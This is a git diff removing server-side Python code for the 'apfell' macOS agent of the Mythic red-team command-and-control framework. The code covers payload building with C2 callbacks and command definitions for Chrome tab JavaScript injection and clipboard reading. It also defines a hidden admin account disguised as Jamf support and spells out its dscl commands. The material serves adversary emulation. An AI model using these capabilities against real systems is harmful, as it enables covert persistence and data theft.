- @operation.setter
- def operation(self, operation):
- self._operation = operation
-
- @property
- def wrapped_payload(self):
- return self._wrapped_payload
-
- @wrapped_payload.setter
- def wrapped_payload(self, wrapped_payload):
- self._wrapped_payload = wrapped_payload
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def auto_generated(self):
- return self._auto_generated
-
- @auto_generated.setter
- def auto_generated(self, auto_generated):
- self._auto_generated = auto_generated
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- try:
- self._contents = base64.b64decode(contents)
- except:
- self._contents = contents
-
- @property
- def build_phase(self):
- return self._build_phase
-
- @build_phase.setter
- def build_phase(self, build_phase):
- self._build_phase = build_phase
-
- @property
- def c2info(self):
- return self._c2info
-
- @c2info.setter
- def c2info(self, c2info):
- self._c2info = c2info
-
- @property
- def build_parameters(self):
- return self._build_parameters
-
- @build_parameters.setter
- def build_parameters(self, build_parameters):
- self._build_parameters = build_parameters
-
- def set_profile_parameter_value(self,
- c2_profile: str,
- parameter_name: str,
- value: any):
- if self.c2info is None:
- raise Exception("Can't set value when c2 info is None")
- for c2 in self.c2info:
- if c2["name"] == c2_profile:
- c2["parameters"][parameter_name] = value
- return
- raise Exception("Failed to find c2 name")
-
- def set_build_parameter_value(self,
- parameter_name: str,
- value: any):
- if self.build_parameters is None:
- raise Exception("Can't set value when build parameters are None")
- for param in self.build_parameters:
- if param["name"] == parameter_name:
- param["value"] = value
- return
- self.build_parameters.append({"name": parameter_name, "value": value})
-
-
-class MythicPayloadRPC(MythicBaseRPC):
- async def get_payload_by_uuid(self, uuid: str) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {"action": "get_payload_by_uuid", "uuid": uuid, "task_id": self.task_id}
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_template(
- self,
- uuid: str,
- destination_host: str = None,
- wrapped_payload: str = None,
- description: str = None,
- ) -> MythicPayloadRPCResponse:
- resp = await self.call(
- {
- "action": "build_payload_from_template",
- "uuid": uuid,
- "task_id": self.task_id,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload,
- "description": description,
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_parameters(self,
- payload_type: str,
- c2_profiles: list,
- commands: list,
- build_parameters: list,
- filename: str = None,
- tag: str = None,
- destination_host: str = None,
- wrapped_payload: str = None) -> MythicPayloadRPCResponse:
- """
- :param payload_type: String value of a payload type name
- :param c2_profiles: List of c2 dictionaries of the form:
- { "c2_profile": "HTTP",
- "c2_profile_parameters": {
- "callback_host": "https://domain.com",
- "callback_interval": 20
- }
- }
- :param filename: String value of the name of the resulting payload
- :param tag: Description for the payload for the active callbacks page
- :param commands: List of string names for the commands that should be included
- :param build_parameters: List of build parameter dictionaries of the form:
- {
- "name": "version", "value": 4.0
- }
- :param destination_host: String name of the host where the payload will go
- :param wrapped_payload: If payload_type is a wrapper, wrapped payload UUID
- :return:
- """
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": payload_type,
- "c2_profiles": c2_profiles,
- "filename": filename,
- "tag": tag,
- "commands": commands,
- "build_parameters": build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def build_payload_from_MythicPayloadRPCResponse(self,
- resp: MythicPayloadRPCResponse,
- destination_host: str = None) -> MythicPayloadRPCResponse:
- c2_list = []
- for c2 in resp.c2info:
- c2_list.append({
- "c2_profile": c2["name"],
- "c2_profile_parameters": c2["parameters"]
- })
- resp = await self.call(
- {
- "action": "build_payload_from_parameters",
- "task_id": self.task_id,
- "payload_type": resp.payload_type,
- "c2_profiles": c2_list,
- "filename": resp.filename,
- "tag": resp.tag,
- "commands": resp.commands,
- "build_parameters": resp.build_parameters,
- "destination_host": destination_host,
- "wrapped_payload": resp.wrapped_payload
- }
- )
- return MythicPayloadRPCResponse(resp)
-
- async def register_payload_on_host(self,
- uuid: str,
- host: str):
- """
- Register a payload on a host for linking purposes
- :param uuid:
- :param host:
- :return:
- """
- resp = await self.call(
- {
- "action": "register_payload_on_host",
- "task_id": self.task_id,
- "uuid": uuid,
- "host": host
- }
- )
- return MythicPayloadRPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/MythicResponseRPC.py b/Payload_Types/apfell/mythic/MythicResponseRPC.py
deleted file mode 100644
index 8ae588a96..000000000
--- a/Payload_Types/apfell/mythic/MythicResponseRPC.py
+++ /dev/null
@@ -1,43 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicResponseRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
-
-
-class MythicResponseRPC(MythicBaseRPC):
- async def user_output(self, user_output: str) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "user_output",
- "user_output": user_output,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def update_callback(self, callback_info: dict) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "update_callback",
- "callback_info": callback_info,
- "task_id": self.task_id,
- }
- )
- return MythicResponseRPCResponse(resp)
-
- async def register_artifact(
- self, artifact_instance: str, artifact_type: str, host: str = None
- ) -> MythicResponseRPCResponse:
- resp = await self.call(
- {
- "action": "register_artifact",
- "task_id": self.task_id,
- "host": host,
- "artifact_instance": artifact_instance,
- "artifact": artifact_type,
- }
- )
- return MythicResponseRPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/MythicSocksRPC.py b/Payload_Types/apfell/mythic/MythicSocksRPC.py
deleted file mode 100644
index 3a1b63df6..000000000
--- a/Payload_Types/apfell/mythic/MythicSocksRPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicSocksRPCResponse(RPCResponse):
- def __init__(self, socks: RPCResponse):
- super().__init__(socks._raw_resp)
-
-
-class MythicSocksRPC(MythicBaseRPC):
- async def start_socks(self, port: int) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "task_id": self.task_id,
- "start": True,
- "port": port,
- }
- )
- return MythicSocksRPCResponse(resp)
-
- async def stop_socks(self) -> MythicSocksRPCResponse:
- resp = await self.call(
- {
- "action": "control_socks",
- "stop": True,
- "task_id": self.task_id,
- }
- )
- return MythicSocksRPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/PayloadBuilder.py b/Payload_Types/apfell/mythic/PayloadBuilder.py
deleted file mode 100644
index 6333bdbff..000000000
--- a/Payload_Types/apfell/mythic/PayloadBuilder.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from enum import Enum
-from abc import abstractmethod
-from pathlib import Path
-import base64
-from CommandBase import *
-
-
-class BuildStatus(Enum):
- Success = "success"
- Error = "error"
-
-
-class SupportedOS(Enum):
- Windows = "Windows"
- MacOS = "macOS"
- Linux = "Linux"
- WebShell = "WebShell"
- Chrome = "Chrome"
-
-
-class BuildParameterType(Enum):
- String = "String"
- ChooseOne = "ChooseOne"
-
-
-class BuildParameter:
- def __init__(
- self,
- name: str,
- parameter_type: BuildParameterType = None,
- description: str = None,
- required: bool = None,
- verifier_regex: str = None,
- default_value: str = None,
- choices: [str] = None,
- value: any = None,
- verifier_func: callable = None,
- ):
- self.name = name
- self.verifier_func = verifier_func
- self.parameter_type = (
- parameter_type if parameter_type is not None else ParameterType.String
- )
- self.description = description if description is not None else ""
- self.required = required if required is not None else True
- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Payload_Types/apfell/mythic/__init__.py b/Payload_Types/apfell/mythic/__init__.py
deleted file mode 100644
index e69de29bb..000000000
diff --git a/Payload_Types/apfell/mythic/agent_functions/__init__.py b/Payload_Types/apfell/mythic/agent_functions/__init__.py
deleted file mode 100644
index e69de29bb..000000000
diff --git a/Payload_Types/apfell/mythic/agent_functions/add_user.py b/Payload_Types/apfell/mythic/agent_functions/add_user.py
deleted file mode 100644
index 18a14096f..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/add_user.py
+++ /dev/null
@@ -1,190 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class AddUserArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "password": CommandParameter(
- name="password",
- type=ParameterType.String,
- description="p@55w0rd_here for new user",
- required=False,
- default_value="p@55w0rd_here",
- ),
- "passwd": CommandParameter(
- name="passwd",
- type=ParameterType.Credential_Value,
- description="password of the user that will execute the commands",
- ),
- "user": CommandParameter(
- name="user",
- type=ParameterType.Credential_Account,
- description="username that will execute the commands",
- ),
- "createprofile": CommandParameter(
- name="createprofile",
- type=ParameterType.Boolean,
- required=False,
- default_value=False,
- description="create a user profile or not",
- ),
- "usershell": CommandParameter(
- name="usershell",
- type=ParameterType.String,
- description="which shell environment should the new user have",
- required=False,
- default_value="/bin/bash",
- ),
- "primarygroupid": CommandParameter(
- name="primarygroupid",
- type=ParameterType.Number,
- required=False,
- description="POSIX primary group id for the new account",
- default_value=80,
- ),
- "uniqueid": CommandParameter(
- name="uniqueid",
- type=ParameterType.Number,
- required=False,
- default_value=403,
- description="POSIX unique id for the user",
- ),
- "homedir": CommandParameter(
- name="homedir",
- type=ParameterType.String,
- required=False,
- description="/Users/.jamf_support",
- ),
- "realname": CommandParameter(
- name="realname",
- type=ParameterType.String,
- required=False,
- default_value="Jamf Support User",
- description="Full user name",
- ),
- "username": CommandParameter(
- name="username",
- type=ParameterType.String,
- required=False,
- default_value=".jamf_support",
- description="POSIX username for account",
- ),
- "hidden": CommandParameter(
- name="hidden",
- type=ParameterType.Boolean,
- required=False,
- default_value=False,
- description="Should the account be hidden from the logon screen",
- ),
- "admin": CommandParameter(
- name="admin",
- type=ParameterType.Boolean,
- required=False,
- default_value=True,
- description="Should the account be an admin account",
- ),
- }
-
- async def parse_arguments(self):
- self.load_args_from_json_string(self.command_line)
-
-
-class AddUserCommand(CommandBase):
- cmd = "add_user"
- needs_admin = True
- help_cmd = "add_user"
- description = "Add a local user to the system by wrapping the Apple binary, dscl."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- argument_class = AddUserArguments
- attackmapping = ["T1136", "T1169"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.args.get_arg("hidden"):
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} IsHidden 1".format(task.args.get_arg("user")),
- artifact_type="Process Create",
- )
- else:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{}".format(task.args.get_arg("user")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} UniqueID {}".format(
- task.args.get_arg("user"),
- task.args.get_arg("uniqueid")
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} PrimaryGroupID {}".format(
- task.args.get_arg("user"),
- task.args.get_arg("primarygroupid")
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} NFSHomeDirectory \"{}\"".format(
- task.args.get_arg("user"),
- task.args.get_arg("homedir")
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} RealName \"{}\"".format(
- task.args.get_arg("user"),
- task.args.get_arg("realname")
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . create /Users/{} UserShell {}".format(
- task.args.get_arg("user"),
- task.args.get_arg("usershell")
- ),
- artifact_type="Process Create",
- )
- if task.args.get_arg("admin"):
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dseditgroup -o edit -a {} -t user admin".format(task.args.get_arg("user")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="dscl . passwd /Users/{} \"{}\"".format(
- task.args.get_arg("user"),
- task.args.get_arg("password")
- ),
- artifact_type="Process Create",
- )
- if task.args.get_arg("createprofile"):
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="mkdir \"{}\"".format(task.args.get_arg("homedir")),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="cp -R \"/System/Library/User Template/English.lproj/\" \"{}\"".format(
- task.args.get_arg("homedir")
- ),
- artifact_type="Process Create",
- )
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="chown -R {}:staff \"{}\"".format(
- task.args.get_arg("user"),
- task.args.get_arg("homedir")
- ),
- artifact_type="Process Create",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/builder.py b/Payload_Types/apfell/mythic/agent_functions/builder.py
deleted file mode 100644
index 94f98d266..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/builder.py
+++ /dev/null
@@ -1,59 +0,0 @@
-from PayloadBuilder import *
-
-
-class Apfell(PayloadType):
-
- name = "apfell"
- file_extension = "js"
- author = "@its_a_feature_"
- supported_os = [SupportedOS.MacOS]
- wrapper = False
- wrapped_payloads = []
- note = """This payload uses JavaScript for Automation (JXA) for execution on macOS boxes."""
- supports_dynamic_loading = True
- build_parameters = {}
- c2_profiles = ["HTTP", "dynamicHTTP"]
- support_browser_scripts = [
- BrowserScript(script_name="create_table", author="@its_a_feature_")
- ]
-
- async def build(self) -> BuildResponse:
- # this function gets called to create an instance of your payload
- resp = BuildResponse(status=BuildStatus.Success)
- # create the payload
- try:
- command_code = ""
- for cmd in self.commands.get_commands():
- command_code += (
- open(self.agent_code_path / "{}.js".format(cmd), "r").read() + "\n"
- )
- base_code = open(
- self.agent_code_path / "base" / "apfell-jxa.js", "r"
- ).read()
- base_code = base_code.replace("UUID_HERE", self.uuid)
- base_code = base_code.replace("COMMANDS_HERE", command_code)
- all_c2_code = ""
- if len(self.c2info) != 1:
- resp.set_status(BuildStatus.Error)
- resp.set_message(
- "Error building payload - apfell only supports one c2 profile at a time."
- )
- return resp
- for c2 in self.c2info:
- profile = c2.get_c2profile()
- c2_code = open(
- self.agent_code_path
- / "c2_profiles"
- / "{}.js".format(profile["name"]),
- "r",
- ).read()
- for key, val in c2.get_parameters_dict().items():
- c2_code = c2_code.replace(key, val)
- all_c2_code += c2_code
- base_code = base_code.replace("C2PROFILE_HERE", all_c2_code)
- resp.payload = base_code.encode()
- resp.message = "Successfully built!"
- except Exception as e:
- resp.set_status(BuildStatus.Error)
- resp.set_message("Error building payload: " + str(e))
- return resp
diff --git a/Payload_Types/apfell/mythic/agent_functions/cat.py b/Payload_Types/apfell/mythic/agent_functions/cat.py
deleted file mode 100644
index e59bfe91b..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/cat.py
+++ /dev/null
@@ -1,51 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class CatArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- description="path to file (no quotes required)",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("path", self.command_line)
- else:
- raise ValueError("Missing arguments")
-
-
-class CatCommand(CommandBase):
- cmd = "cat"
- needs_admin = False
- help_cmd = "cat /path/to/file"
- description = "Read the contents of a file and display it to the user. No need for quotes and relative paths are fine"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- argument_class = CatArguments
- attackmapping = ["T1081", "T1106"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSString.stringWithContentsOfFileEncodingError",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/cd.py b/Payload_Types/apfell/mythic/agent_functions/cd.py
deleted file mode 100644
index 83dffe896..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/cd.py
+++ /dev/null
@@ -1,51 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class CdArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "path": CommandParameter(
- name="path",
- type=ParameterType.String,
- description="path to change directory to",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.args["path"].value = self.command_line
- else:
- self.args["path"].value = "."
-
-
-class CdCommand(CommandBase):
- cmd = "cd"
- needs_admin = False
- help_cmd = "cd [path]"
- description = "Change the current working directory to another directory. No quotes are necessary and relative paths are fine"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- argument_class = CdArguments
- attackmapping = ["T1083"]
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="fileManager.changeCurrentDirectoryPath",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/chrome_bookmarks.py b/Payload_Types/apfell/mythic/agent_functions/chrome_bookmarks.py
deleted file mode 100644
index cc065ddb0..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/chrome_bookmarks.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ChromeBookmarksArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ChromeBookmarksCommand(CommandBase):
- cmd = "chrome_bookmarks"
- needs_admin = False
- help_cmd = "chrome_bookmarks"
- description = "This uses AppleEvents to list information about all of the bookmarks in Chrome. If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome's bookmarks as Chrome is starting. It's recommended to not use this unless Chrome is already running. Use the list_apps function to check if Chrome is running. In Mojave this will cause a popup the first time asking for permission for your process to access Chrome"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1217"]
- argument_class = ChromeBookmarksArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of Chrome",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/chrome_js.py b/Payload_Types/apfell/mythic/agent_functions/chrome_js.py
deleted file mode 100644
index 2df9c201d..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/chrome_js.py
+++ /dev/null
@@ -1,61 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ChromeJsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "window": CommandParameter(
- name="window",
- type=ParameterType.Number,
- description="Window # from chrome_tabs",
- ),
- "javascript": CommandParameter(
- name="javascript",
- type=ParameterType.String,
- description="javascript to execute",
- ),
- "tab": CommandParameter(
- name="tab",
- type=ParameterType.Number,
- description="Tab # from chrome_tabs",
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- raise ValueError("Missing JSON arguments")
- else:
- raise ValueError("Missing arguments")
-
-
-class ChromeJsCommand(CommandBase):
- cmd = "chrome_js"
- needs_admin = False
- help_cmd = "chrome_js"
- description = "This uses AppleEvents to execute the specified JavaScript code into a specific browser tab. The chrome_tabs function will specify for each tab the window/tab numbers that you can use for this function. Note: by default this ability is disabled in Chrome now, you will need to go to view->Developer->Allow JavaScript from Apple Events."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1106", "T1064"]
- argument_class = ChromeJsArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of Chrome",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/chrome_tabs.py b/Payload_Types/apfell/mythic/agent_functions/chrome_tabs.py
deleted file mode 100644
index 7a42f9387..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/chrome_tabs.py
+++ /dev/null
@@ -1,39 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ChromeTabsArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {}
-
- async def parse_arguments(self):
- pass
-
-
-class ChromeTabsCommand(CommandBase):
- cmd = "chrome_tabs"
- needs_admin = False
- help_cmd = "chrome_tabs"
- description = "This uses AppleEvents to list information about all of the open tabs in all of the open Chrome instances. If Chrome is not currently running, this will launch Chrome (potential OPSEC issue) and might have a conflict with trying to access Chrome tabs as Chrome is starting. It's recommended to not use this unless Chrome is already running. Use the list_apps function to check if Chrome is running. In Mojave this will cause a popup the first time asking for permission for your process to access Chrome."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1010"]
- argument_class = ChromeTabsArguments
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="Target Application of Chrome",
- artifact_type="AppleEvent Sent",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/clipboard.py b/Payload_Types/apfell/mythic/agent_functions/clipboard.py
deleted file mode 100644
index 0f95811eb..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/clipboard.py
+++ /dev/null
@@ -1,64 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class ClipboardArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "types": CommandParameter(
- name="Clipboard Types",
- type=ParameterType.Array,
- required=False,
- default_value=["public.utf8-plain-text"],
- description="Types of clipboard data to retrieve, defaults to public.utf8-plain-text",
- ),
- "data": CommandParameter(
- name="data",
- type=ParameterType.String,
- description="Data to put on the clipboard",
- required=False,
- ),
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("data", self.command_line)
-
-
-class ClipboardCommand(CommandBase):
- cmd = "clipboard"
- needs_admin = False
- help_cmd = "clipboard [data]"
- description = "Get all the types of contents on the clipboard, return specific types, or set the contents of the clipboard. Root has no clipboard!"
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1115"]
- argument_class = ClipboardArguments
- browser_script = BrowserScript(script_name="clipboard", author="@its_a_feature_")
-
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- if task.args.get_arg("data") != "":
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSPasteboard.generalPasteboard.setStringForType",
- artifact_type="API Called",
- )
- else:
- resp = await MythicResponseRPC(task).register_artifact(
- artifact_instance="$.NSPasteboard.generalPasteboard.dataForType",
- artifact_type="API Called",
- )
- return task
-
- async def process_response(self, response: AgentResponse):
- pass
diff --git a/Payload_Types/apfell/mythic/agent_functions/current_user.py b/Payload_Types/apfell/mythic/agent_functions/current_user.py
deleted file mode 100644
index 0258d8187..000000000
--- a/Payload_Types/apfell/mythic/agent_functions/current_user.py
+++ /dev/null
@@ -1,60 +0,0 @@
-from CommandBase import *
-import json
-from MythicResponseRPC import *
-
-
-class CurrentUserArguments(TaskArguments):
- def __init__(self, command_line):
- super().__init__(command_line)
- self.args = {
- "method": CommandParameter(
- name="method",
- type=ParameterType.ChooseOne,
- choices=["api", "jxa"],
- description="Use AppleEvents or ObjectiveC calls to get user information",
- default_value="api",
- )
- }
-
- async def parse_arguments(self):
- if len(self.command_line) > 0:
- if self.command_line[0] == "{":
- self.load_args_from_json_string(self.command_line)
- else:
- self.add_arg("method", self.command_line)
- else:
- raise ValueError("Missing arguments")
- pass
-
-
-class CurrentUserCommand(CommandBase):
- cmd = "current_user"
- needs_admin = False
- help_cmd = "current_user"
- description = "This uses AppleEvents or ObjectiveC APIs to get information about the current user."
- version = 1
- is_exit = False
- is_file_browse = False
- is_process_list = False
- is_download_file = False
- is_remove_file = False
- is_upload_file = False
- author = "@its_a_feature_"
- attackmapping = ["T1033"]
- argument_class = CurrentUserArguments
-
